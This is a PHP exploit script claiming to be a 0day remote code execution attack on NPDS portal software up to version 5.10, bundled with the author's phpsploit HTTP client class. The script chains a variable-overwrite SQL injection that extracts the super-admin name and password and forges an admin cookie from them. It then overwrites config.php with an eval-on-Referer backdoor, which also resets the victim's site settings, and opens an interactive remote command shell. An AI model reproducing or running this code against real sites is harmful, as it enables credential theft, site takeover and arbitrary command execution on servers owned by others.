|
#!/usr/bin/php
<?php
error_reporting(E_ALL ^ E_NOTICE);
# Advisory soon
if($argc < 3)
{
print("
TITLE | Net Portal Dynamic System (NPDS) <= 5.10 Remote Code Execution 0day
AUTHOR | DarkFig \/ http://www.acid-root.new.fr \/ gmdarkfig@gmail.com
NOTE | Works regardless of php settings
USAGE | $argv[0] -url <url> [Options]
OPTIONS | -proxy If you wanna use a proxy <proxyhost:proxyport>
| -proxyauth Basic authentification <proxyuser:proxypwd>
");exit(1);
}
$url = getparam('url',1);
$pro = getparam('proxy');
$pra = getparam('proyauth');
$xpl = new phpsploit();
$xpl->agent('Mozilla Firefox');
if($pro) $xpl->proxy($pro);
if($pra) $xpl->proxyauth($pra);
# +print.php (SQL INJECTION)
# |
# 124. } elseif (!empty($lid)) {
# 125. settype ($lid, "integer");
# 126. PrintPage("links",$DB, $lid);
#
# 30. if ($oper=="links") {
# 31. $result=mysql_query("select url, title, description, date from ".$DB."links_links where lid='$sid'");
# 32. list($url, $title, $description, $time)=mysql_fetch_row($result);
# 40. if ($DB) {
# 41. $remp=meta_lang(aff_code(aff_langue(ob_get_contents())));
#
$aid = 'CONCAT(CHAR(66,69,71,73,78,85,83,82),(SELECT%20aid%20FROM%20authors%20WHERE%20radminsuper=1),CHAR(69,78,68,85,83,82))';
$pwd = 'CONCAT(CHAR(66,69,71,73,78,80,87,68),(SELECT%20pwd%20FROM%20authors%20WHERE%20radminsuper=1),CHAR(69,78,68,80,87,68))';
# +grab_globals.php (VARS OVERWRITE / "url_protect" FILTER EVASION)
# |
# 78. if (!empty($_GET)) {
# 79. if (!$magicquotesGPC)
# 80. array_walk($_GET,'addslashes_GPC');
# 81. reset($_GET);
# 82. array_walk($_GET,'url_protect');
# 83. extract($_GET, EXTR_OVERWRITE);
#
# 106. if (!empty($_COOKIE)) {
# 107. if (!$magicquotesGPC)
# 108. array_walk($_COOKIE,'addslashes_GPC');
# 109. reset($_COOKIE);
# 110. array_walk($_COOKIE,'url_protect');
# 111. extract($_COOKIE, EXTR_OVERWRITE);
#
# 132. if (!empty($_FILES)) {
# 133. while (list($key,$value)=each($_FILES)) {
# 134. $$key=$value['tmp_name'];
# 135. }
#
$xpl->get($url."print.php?_FILES[DB][tmp_name]=links_links%20union%20select%20-1,$aid,$pwd,1%20ORDER%20BY%20url%23&lid=1");
if (preg_match("#BEGINUSR(.*)ENDUSR#",$xpl->getcontent(),$aid)
AND preg_match("#BEGINPWD(.*)ENDPWD#",$xpl->getcontent(),$pwd))
print "\nAdmin_aid: $aid[1]\nAdmin_pwd: $pwd[1]";
else die("Exploit failed");
# +auth.inc.php (ADMIN AUTH)
# |
# 59. if ($admin!="") {
# 60. $Xadmin = base64_decode($admin);
# 61. $Xadmin = explode(":", $Xadmin);
# 62. $aid = urlencode($Xadmin[0]);
# 63. $AIpwd = $Xadmin[1];
# 64. if ($aid=="" or $AIpwd=="") {
# 65. Admin_Alert("Null Aid or Passwd");
# 66. }
# 67. $result=mysql_query("select pwd, radminsuper from authors where aid='$aid'");
# 68. if (!$result) {
# 69. Admin_Alert("DB not ready #2 : $aid / $AIpwd | ");
# 70. } else {
# 71. list($AIpass, $Xsuper_admintest)=mysql_fetch_row($result);
# 72. if (md5($AIpass) == $AIpwd and $AIpass != "") {
# 73. $admintest = true;
# 74. $super_admintest = $Xsuper_admintest;
# 75. } else {
# 76. Admin_Alert("Password in Cookies not Good #1 : $aid / $AIpwd | ");
# 77. }
# 78. }
# 79. unset ($AIpass);
# 80. unset ($AIpwd);
# 81. unset ($Xadmin);
# 82. unset ($Xsuper_admintest);
# 83. }
#
$cok = urlencode(base64_encode($aid[1].':'.md5($pwd[1])));
$xpl->addcookie('admin',$cok);
print "\nAdmin_cookie: admin=$cok\n\$shell> ";
# +admin/settings.php (CODE EXECUTION)
# |
# 758. switch($op) {
# 763. case "ConfigSave":
# 764. include("admin/settings_save.php");
# 765. ConfigSave($xparse,$xsitename,$xnuke_url,$xsite_logo,$xslogan,$xstartdate,$xadminmail,
# $xtop,$xstoryhome,$xoldnum,$xultramode,$xanonpost,$xDefault_Theme,$xbanners,$xmyIP,
# $xfoot1,$xfoot2,$xfoot3,$xfoot4,$xbackend_title,$xbackend_language,$xbackend_image,
# $xbackend_width,$xbackend_height,$xlanguage,$xlocale,$xperpage,$xpopular,$xnewlinks,
# $xtoplinks,$xlinksresults,$xlinks_anonaddlinklock,$xnotify,$xnotify_email,$xnotify_subject,
# $xnotify_message,$xnotify_from,$xmoderate,$xcommentlimit,$xanonymous,$xmaxOptions,$xBarScale,
# $xsetCookies,$xtipath,$xuserimg,$xadminimg,$xadmingraphic,$xsite_font,$xadmart,$xminpass,
# $xhttpref,$xhttprefmax,$xpollcomm,$xlinkmainlogo,$xstart_page,$xsmilies,$xOnCatNewLink,
# $xEmailFooter,$xshort_user,$xgzhandler,$xrss_host_verif,$xcache_verif,$xmember_list,
# $xdownload_cat,$xmod_admin_news,$xgmt,$xAutoRegUser,$xTitlesitename,$xfilemanager,
# $xshort_review,$xnot_admin_count,$xadmin_cook_duration,$xuser_cook_duration,$xtroll_limit,
# $xsubscribe,$xCloseRegUser,$xshort_menu_admin,$xmail_fonction,$xmemberpass,$xshow_user,
# $xdns_verif,$xmember_invisible,$xavatar_size,$xlever,$xcoucher,$xmulti_langue,$xadmf_ext,
# $xsavemysql_size,$xsavemysql_mode,$xtiny_mce);
# 766. break;
# 767. }
#
# +admin/settings_save.php
# |
# 142. function ConfigSave(...
# 212. $file = fopen("config.php","w");
# 401. $content .= "\$perpage = $xperpage;\n";
# 402. $content .= "\$popular = $xpopular;\n";...
# 614. fwrite($file, $content);
# 615. fclose($file);
#
$PHPCODE = 'if(isset($_SERVER[HTTP_REFERER])) eval($_SERVER[HTTP_REFERER])';
# Default config value
# You can get the config here ./admin.php?op=Configure
#
$config = array(
frmdt_url => $url.'admin.php',"xparse" => "1","xgzhandler" => "0","xfilemanager" => "0","xadmin_cook_duration" => "240",
"xuser_cook_duration" => "8000","xsitename" => "NPDS SABLE","xTitlesitename" => "NPDS - g�n�rateur de portail Php / Mysql en Open Source",
"xnuke_url" => "http://www.npds.org","xsite_logo" => "themes/Permanent-Double-Side/images/npds_p.gif","xslogan" => "NPDS SABLE",
"xstartdate" => "01/10/2005","xtop" => "10;$PHPCODE","xstoryhome" => "10","xoldnum" => "10","xultramode" => "1","xanonymous" => "Anonyme",
"xanonpost" => "0","xtroll_limit" => "6","xmod_admin_news" => "0","xnot_admin_count" => "1","xDefault_Theme" => "Permanent-Double-Side",
"xstart_page" => "index.php?op=edito","xlanguage" => "french","xmulti_langue" => "false","xlocale" => "french","xlever" => "08:00",
"xcoucher" => "20:00","xgmt" => "","xbanners" => "0","xmyIP" => "1.1.1.100","xfoot4" => "","xbackend_title" => "NPDS","xbackend_language" => "fr-FR",
"xfoot1" => "Tous les Logos et Marques sont d�pos�s, les commentaires sont sous la responsabilit� de ceux qui les ont publi�s, le reste @ npds.org",
"xfoot2" => "Ce site a �t� construit avec <a href=http://www.npds.org CLASS=NOIR>NPDS</a>, un syst�me de portail �crit en PHP. Ce logiciel est sous <a href=http://www.gnu.org CLASS=NOIR>GNU/GPL license</a>.",
"xfoot3" => "syndication de vos News via <a href=http://www.votre_site/backend.php CLASS=NOIR>www.votre_site/backend.php</a> -::- + encore via le NPDS Push Infos System",
"xbackend_image" => "","xbackend_width" => "88","xbackend_height" => "31","xperpage" => "10","xpopular" => "10","xnewlinks" => "10",
"xtoplinks" => "10","xlinksresults" => "10","xlinks_anonaddlinklock" => "0","xlinkmainlogo" => "0","xOnCatNewLink" => "1",
"xadminmail" => "","xmail_fonction" => "1","xEmailFooter" => "","xnotify" => "0","xnotify_email" => "membre@site.fr","xnotify_subject" => "Nouvelle soumission",
"xnotify_message" => "Le site a recu une nouvelle soumission !","xnotify_from" => "webmaster","xmoderate" => "1","xcommentlimit" => "4096",
"xmaxOptions" => "12","xBarScale" => "1","xsetCookies" => "1","xpollcomm" => "1","xtipath" => "themes/Permanent-Double-Side/images/topics/",
"xuserimg" => "/themes/Permanent-Double-Side/images/menu/","xadminimg" => "images/admin/","xadmingraphic" => "0","xadmf_ext" => "gif",
"xshort_menu_admin" => "1","xsite_font" => "Verdana, Arial, Helvetica","xadmart" => "10","xminpass" => "5","xshow_user" => "20","xsmilies" => "1",
"xavatar_size" => "60*80","xshort_user" => "0","xAutoRegUser" => "1","xmemberpass" => "1","xsubscribe" => "1","xmember_invisible" => "0",
"xCloseRegUser" => "0","xhttpref" => "1","xhttprefmax" => "1000","xmember_list" => "0","xdownload_cat" => "Tous","xshort_review" => "0",
"xrss_host_verif" => "false","xcache_verif" => "true","xdns_verif" => "false","xsavemysql_size" => "256","xsavemysql_mode" => "1",
"xtiny_mce" => "true","op" => "ConfigSave");
# 0_o my website has been reset
#
$xpl->formdata($config);
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))) # $cmd -> );print($dbpass);//
{
$xpl->addheader("Referer","@system($cmd);die;");
$xpl->get($url.'config.php');
print $xpl->getcontent()."\n\$shell> ";
}
function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("\n-$param parameter required");
else return;
}
/*
*
* Copyright (C) darkfig
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* TITLE: PhpSploit Class
* REQUIREMENTS: PHP 5 (remove "private", "public" if you have PHP 4)
* VERSION: 1.2
* LICENSE: GNU General Public License
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME: phpsploitclass.php
*
* CONTACT: gmdarkfig@gmail.com (french / english)
* GREETZ: Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
* * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
* * First version
*
*/
class phpsploit {
/**
* This function is called by the get()/post() functions.
* You don't have to call it, this is the main function.
*
* @return $server_response
*/
private function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
else $socket = fsockopen($this->host,$this->port);
if(!$socket) die("Error: The host doesn't exist");
if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
else die("Error: Invalid method");
if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
$this->packet .= "Host: ".$this->host."\r\n";
if(!empty($this->agent)) $this->packet .= "User-Agent: ".$this->agent."\r\n";
if(!empty($this->header)) $this->packet .= $this->header."\r\n";
if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
$this->packet .= "Connection: Close\r\n";
if($this->method==="post")
{
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data."\r\n";
}
elseif($this->method==="formdata")
{
$this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data;
}
$this->packet .= "\r\n";
$this->recv = '';
fputs($socket,$this->packet);
while(!feof($socket)) $this->recv .= fgets($socket);
fclose($socket);
if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
if($this->allowredirection) return $this->allowredirection($this->recv);
else return $this->recv;
}
/**
* This function allows you to add several cookie in the
* request. Several methods are supported:
*
* $this->addcookie("name","value");
* or
* $this->addcookie("name=newvalue");
* or
* $this->addcookie("othername=overvalue; xx=zz; y=u");
*
* @param string $cookiename
* @param string $cookievalue
*
*/
public function addcookie($cookn,$cookv='')
{
// $this->addcookie("name","value"); work avec replace
if(!empty($cookv))
{
if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
if(!empty($this->cookie))
{
if(preg_match("/$cookn=/",$this->cookie))
{
$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
}
else
{
$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
}
}
else
{
$this->cookie = $cookn."=".$cookv.";";
}
}
// $this->addcookie("name=value; othername=othervalue");
else
{
if(!empty($this->cookie))
{
$cookn = preg_replace("/(.*);$/","$1",$cookn);
$cookarr = explode(";",str_replace(" ", "",$cookn));
for($i=0;$i<count($cookarr);$i++)
{
preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
else
{
$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
$this->cookie = $cookn;
}
}
}
/**
* This function allows you to add several headers in the
* request. Several methods are supported:
*
* $this->addheader("headername","headervalue");
* or
* $this->addheader("headername: headervalue");
*
* @param string $headername
* @param string $headervalue
*/
public function addheader($headern,$headervalue='')
{
// $this->addheader("name","value");
if(!empty($headervalue))
{
if(!empty($this->header))
{
if(preg_match("/$headern:/",$this->header))
{
$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
}
else
{
$this->header .= "\r\n".$headern.": ".$headervalue;
}
}
else
{
$this->header=$headern.": ".$headervalue;
}
}
// $this->addheader("name: value");
else
{
if(!empty($this->header))
{
$headarr = explode(": ",$headern);
$headern = $headarr[0];
$headerv = $headarr[1];
$this->addheader($headern,$headerv);
}
else
{
$this->header=$headern;
}
}
}
/**
* This function allows you to use an http proxy server.
* Several methods are supported:
*
* $this->proxy("proxyip","8118");
* or
* $this->proxy("proxyip:8118")
*
* @param string $proxyhost
* @param integer $proxyport
*/
public function proxy($proxy,$proxyp='')
{
// $this->proxy("localhost:8118");
if(empty($proxyp))
{
preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
$proxh = $proxarr[1];
$proxp = $proxarr[2];
$this->proxyhost=$proxh;
$this->proxyport=$proxp;
}
// $this->proxy("localhost",8118);
else
{
$this->proxyhost=$proxy;
$this->proxyport=intval($proxyp);
}
if($this->proxyport > 65535) die("Error: Invalid port number");
}
/**
* This function allows you to use an http proxy server
* which requires a basic authentification. Several
* methods are supported:
*
* $this->proxyauth("darkfig","dapasswd");
* or
* $this->proxyauth("darkfig:dapasswd");
*
* @param string $proxyuser
* @param string $proxypass
*/
public function proxyauth($proxyauth,$proxypasse='')
{
// $this->proxyauth("darkfig:password");
if(empty($proxypasse))
{
preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
$proxu = $proxautharr[1];
$proxp = $proxautharr[2];
$this->proxyuser=$proxu;
$this->proxypass=$proxp;
}
// $this->proxyauth("darkfig","password");
else
{
$this->proxyuser=$proxyauth;
$this->proxypass=$proxypasse;
}
}
/**
* This function allows you to set the "User-Agent" header.
* Several methods are possible to do that:
*
* $this->agent("Mozilla Firefox");
* or
* $this->addheader("User-Agent: Mozilla Firefox");
* or
* $this->addheader("User-Agent","Mozilla Firefox");
*
* @param string $useragent
*/
public function agent($useragent)
{
$this->agent=$useragent;
}
/**
* This function returns the header which will be
* in the next request.
*
* $this->showheader();
*
* @return $header
*/
public function showheader()
{
return $this->header;
}
/**
* This function returns the cookie which will be
* in the next request.
*
* $this->showcookie();
*
* @return $storedcookies
*/
public function showcookie()
{
return $this->cookie;
}
/**
* This function returns the last formed
* http request (the http packet).
*
* $this->showlastrequest();
*
* @return $last_http_request
*/
public function showlastrequest()
{
return $this->packet;
}
/**
* This function sends the formed http packet with the
* GET method. You can precise the port of the host.
*
* $this->get("http://localhost");
* $this->get("http://localhost:888/xd/tst.php");
*
* @param string $urlwithpath
* @return $server_response
*/
public function get($url)
{
$this->target($url);
$this->method="get";
return $this->sock();
}
/**
* This function sends the formed http packet with the
* POST method. You can precise the port of the host.
*
* $this->post("http://localhost/index.php","admin=1&user=dark");
*
* @param string $urlwithpath
* @param string $postdata
* @return $server_response
*/
public function post($url,$data)
{
$this->target($url);
$this->method="post";
$this->data=$data;
return $this->sock();
}
/**
* This function sends the formed http packet with the
* POST method using the multipart/form-data enctype.
*
* $array = array(
* frmdt_url => "http://localhost/upload.php",
* frmdt_boundary => "123456", # Optional
* "email" => "me@u.com",
* "varname" => array(
* frmdt_type => "image/gif", # Optional
* frmdt_transfert => "binary", # Optional
* frmdt_filename => "hello.php",
* frmdt_content => "<?php echo ':)'; ?>"));
* $this->formdata($array);
*
* @param array $array
* @return $server_response
*/
public function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method="formdata";
$this->data='';
if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
else $this->boundary=$array[frmdt_boundary];
foreach($array as $key => $value)
{
if(!preg_match("#^frmdt_(boundary|url)#",$key))
{
$this->data .= "-----------------------------".$this->boundary."\r\n";
$this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
if(!is_array($value))
{
$this->data .= "\r\n\r\n".$value."\r\n";
}
else
{
$this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
}
}
}
$this->data .= "-----------------------------".$this->boundary."--\r\n";
return $this->sock();
}
/**
* This function returns the content of the server response
* without the headers.
*
* $this->getcontent($this->get("http://localhost/"));
* or
* $this->getcontent();
*
* @param string $server_response
* @return $onlythecontent
*/
public function getcontent($code='')
{
if(empty($code)) $code = $this->recv;
$content = explode("\n",$code);
$onlycode = '';
for($i=1;$i<count($content);$i++)
{
if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
if($ok) $onlycode .= $content[$i]."\n";
}
return $onlycode;
}
/**
* This function returns the headers of the server response
* without the content.
*
* $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
* or
* $this->getheader();
*
* @param string $server_response
* @return $onlytheheaders
*/
public function getheader($code='')
{
if(empty($code)) $code = $this->recv;
$header = explode("\n",$code);
$onlyheader = $header[0]."\n";
for($i=1;$i<count($header);$i++)
{
if(!preg_match("/^(\S*):/",$header[$i])) break;
$onlyheader .= $header[$i]."\n";
}
return $onlyheader;
}
/**
* This function is called by the cookiejar() function.
* It adds the value of the "Set-Cookie" header in the "Cookie"
* header for the next request. You don't have to call it.
*
* @param string $server_response
*/
private function getcookie($code)
{
$carr = explode("\n",str_replace("\r\n","\n",$code));
for($z=0;$z<count($carr);$z++)
{
if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
{
$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
}
}
for($i=0;$i<count($cookie);$i++)
{
preg_match("/(\S*)=(\S*)(|;)/",$cookie[$i],$matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
/**
* This function is called by the get()/post() functions.
* You don't have to call it.
*
* @param string $urltarg
*/
private function target($urltarg)
{
if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
$this->url=$urltarg;
$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
$this->host=$array[0];
preg_match("/:(\d+)\//",$urltarg,$matches);
$this->port=empty($matches[1]) ? 80 : $matches[1];
$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
preg_match("/\/(.*)\//",$temp,$matches);
$this->path=str_replace("//","/","/".$matches[1]."/");
if($this->port > 65535) die("Error: Invalid port number");
}
/**
* If you call this function, the script will
* extract all "Set-Cookie" headers values
* and it will automatically add them into the "Cookie" header
* for all next requests.
*
* $this->cookiejar(1); // enabled
* $this->cookiejar(0); // disabled
*
*/
public function cookiejar($code)
{
if($code===0) $this->cookiejar='';
if($code===1) $this->cookiejar=1;
else
{
$this->getcookie($code);
}
}
/**
* If you call this function, the script will
* follow all redirections sent by the server.
*
* $this->allowredirection(1); // enabled
* $this->allowredirection(0); // disabled
*
* @return $this->get($locationresponse)
*/
public function allowredirection($code)
{
if($code===0) $this->allowredirection='';
if($code===1) $this->allowredirection=1;
else
{
if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
{
$location = str_replace(chr(13),'',$codearr[2]);
if(!eregi("://",$location))
{
return $this->get("http://".$this->host.$this->path.$location);
}
else
{
return $this->get($location);
}
}
else
{
return $code;
}
}
}
/**
* This function allows you to reset some parameters:
*
* $this->reset(header); // headers cleaned
* $this->reset(cookie); // cookies cleaned
* $this->reset(); // clean all parameters
*
* @param string $func
*/
public function reset($func='')
{
switch($func)
{
case "header":
$this->header='';
break;
case "cookie":
$this->cookie='';
break;
default:
$this->cookiejar='';
$this->header='';
$this->cookie='';
$this->allowredirection='';
$this->agent='';
break;
}
}
}
?>
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